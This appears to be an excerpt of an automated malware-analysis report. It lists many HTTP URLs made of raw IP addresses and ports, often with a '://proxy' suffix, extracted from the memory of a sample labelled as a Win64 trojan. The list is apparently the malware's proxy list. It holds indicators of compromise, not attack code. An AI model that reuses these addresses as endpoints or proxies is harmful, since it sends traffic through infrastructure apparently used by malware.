Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.136.42.164://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.136.42.164:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.147.33.121
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.147.33.121://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.147.33.121:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.147.9.254
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.147.9.254://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.147.9.254:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.148.63.29
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.148.63.29://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.148.63.29:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:13326
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:13326://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:13718
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:13718://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:1647
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:1647://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:16526
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:16526://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:1772
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:1772://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:2450
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:2450://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:25214
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:25214://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:26422
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:26422://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:2935
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:2935://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:33346
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:33346://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:33466
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:33466://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:35072
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:35072://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:35557
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:35557://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:39796
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:39796://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:40280
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:40280://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:41866
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:41866://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:41920
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:41920://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:45620
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:45620://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:47913
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:47913://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:49675
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:49675://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:57470
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:57470://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:59583
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:59583://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:60870
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:60870://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:7856
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.174.6:7856://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.238.246:24752
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.94.238.246:24752://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.95.160.178:24026
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.95.160.178:24026://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.95.160.178:59656
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://141.95.160.178:59656://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.11.222.22
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.11.222.22://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.11.222.22:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.147.114.50:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.147.114.50:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6718000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.4.7.20:27407
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6718000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.4.7.20:27407://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.4.7.20:34139
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.4.7.20:34139://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.226.214:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.226.214:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.228.193:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.228.193:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.231.38:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.231.38:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAF21000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAFFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.232.6:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB02D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.232.6:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.235.9:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.235.9:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD00000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.236.97:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.236.97:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.237.34:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.237.34:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.239.1:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.54.239.1:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.93.2.222:8000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.93.2.222:8000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.93.239.162:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.93.239.162:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.93.66.245:25979
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.93.66.245:25979://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.93.66.245:28250
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.93.66.245:28250://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.93.66.245:33954
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6C9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.93.66.245:33954://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.93.66.245:46071
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://142.93.66.245:46071://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.110.232.177
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.110.232.177://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.110.232.177:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.198.229.56:64961
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.198.229.56:64961://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.198.241.47
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.198.241.47://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.198.241.47:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8F81000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C940C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.202.97.171:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8F81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.202.97.171:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBE93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.208.152.61:3180
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBE93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.208.152.61:3180://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.244.131.2:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.244.131.2:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.244.140.236:8444
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.244.140.236:8444://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.244.184.250:37237://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.244.184.250:37237HJ
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.255.140.28:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.255.140.28:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.255.178.129:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.255.178.129:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.255.249.74:7497
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.255.249.74:7497://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.42.194.37:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.42.194.37:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.44.191.108:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.44.191.108:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.92.56.162:39500
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://143.92.56.162:39500://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.21.53.111:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.21.53.111:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://144.24.205.252:3128
